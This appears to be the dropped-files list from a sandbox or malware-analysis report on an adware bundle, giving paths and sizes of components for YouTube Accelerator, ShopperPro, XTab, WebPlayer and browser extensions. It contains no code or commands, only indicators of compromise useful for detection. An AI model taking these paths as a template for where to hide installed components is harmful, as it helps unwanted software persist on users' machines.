    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\easyBurner_logo48[1].png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (69254 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\3MNHGSLD.txt (90 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\eula-youtubeaccelerator[1].htm (2744 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-mystartsearch[1].htm (1887 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\FFE6GTVE.txt (94 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4AD7.tmp (79808 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyo_sprite_full[1].png (1277 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\lm (128 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\tlg (41 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ilg (303312 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\ExecDos.dll (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\UserInfo.dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\SourceApp.mg.exe (7751 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\inetc.dll (44 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\nsJSON.dll (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\mj (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\NSISEncrypt.dll (3461 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\nsExec.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\IpConfig.dll (4254 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\WmiInspector.dll (3137 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLKE300.tmp (1604 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
    C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJE0FC.tmp (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGE92B.tmp (90922 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (24 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (5381 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
    %Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
    %Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
    %Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe (44331 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCE0FB.tmp (3791 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (4742 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLME513.tmp (12 bytes)
    %Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
    C:\Windows\SysWOW64\temp.000 (3624 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLFE92C.tmp (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
    %Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (9304 bytes)
    C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3560 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspE8AA.tmp\nsExec.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBE08E.tmp (144 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe (164 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszA593.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszA593.tmp\inetc.dll (808 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszA593.tmp\webplayer_installer.exe (8184 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszA592.tmp (10027 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszA593.tmp\appshat.exe (13992 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P16EV2XZESZEQ5LYHWE0.temp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3SKRB8UBS3F597K0XQM0.temp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LD1TZWKY5KEOMFNVADNR.temp (196 bytes)
    %Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
    %Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
    %Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
    %Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC52.tmp (350281 bytes)
    %Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\MoreInfo.dll (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\nsProcess.dll (12 bytes)
    %Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
    %Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\nsExec.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\System.dll (23 bytes)
    %Program Files%\Common Files\ShopperPro\spbici32.dll (36698 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
    %Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
    C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
    %Program Files%\Common Files\ShopperPro\spbici64.dll (47570 bytes)
    %Program Files% (x86)\ShopperPro\database1_0_0.json (6 bytes)
    %Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
    %Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
    %Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\AccDownload.dll (11359 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\jsdrv.exe (100669 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\code (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\bg1.png (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\Thumbs.db (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\2[1].zip (59529 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\uninstallDlg2.xml (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\conf (83 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\code\code1.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\code\code6.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\code\code5.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\2.zip (27280 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\checkbox.png (545 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\close.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\scrollbar.bmp (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\code\code4.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\lpd#4.3.0.xpi (6360 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\checkbox_select.png (783 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\unchecked.png (135 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\1[1].zip (174183 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\code\code3.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\loading_light.png (139 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\loading_bg.png (159 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\1.zip (32060 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\UninstallManager.exe (60186 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\MessageBox.xml (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\button.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\code\Thumbs.db (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\min.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\code\code2.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\DataBase (26688 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\422.json (520 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\bg.png (5064 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\BaofengUpdate.exe (2461 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\checked.png (222 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\button1.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\bk_shadow.png (3 bytes)
    %Program Files% (x86)\XTab\conf (1498 bytes)
    %Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
    %Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
    %Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
    %Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\XTab_4.0.2.1716[1].exe (247529 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\XTab_v4.0.exe (53810 bytes)
    %Program Files% (x86)\XTab\HPNotify.exe (675 bytes)
    C:\ProgramData\ShopperPro\config.json (490 bytes)
    C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
    %Program Files% (x86)\ShopperPro\config.json (1260 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1499.0.0.0\jsdrv.sys (52 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1499.0.0.0\database1_0_0.json (6 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1499.0.0.0\config.json (770 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
    C:\ProgramData\ShopperPro\database1_0_0.json (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
    C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1499.0.0.0\jsdrv.exe (22786 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8413 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz23D6.tmp (6323 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (97 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\btn_bg[1].jpg (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\23428f8768d928d2bd45dd3b0c4d0057[1].png (25819 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\product[1].css (25 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\lightbox[1].js (4615 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\00c73f6d4e4eb25289dddb86e2d1e319[1].jpg (3060 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\4.0stars[1].jpg (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\lightbox[1].css (426 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\1f8ffa22b53dfc2f6b7f1850bb6b73e8[1].png (24410 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3.5stars[1].jpg (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\f3ad8b396434c21b4c214fd667ee391d[1].png (1928 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\loading[1].gif (200 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery.min[1].js (55670 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\4f263f4be4c4396c9078d1874c05b928[1].png (7428 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\58d196b3e886a838d021adc8c8848f1e[1].png (1160 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\6ef6fd5410a7fb481fe6841cb381c046[1].jpg (2796 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\d586df222f5069b6c396373d67d0163b[1].png (56289 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\442a5f30204dd385d17de5848683274f[1].png (30088 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\3d8bbea6bcae57d705c676f7050a7d51[1].png (12236 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\7c9d412c730603d1d82b98a548a71bac[1].png (13453 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\close[1].png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\0692c2494a7331a77c05954f79c5480a[1].png (18695 bytes)
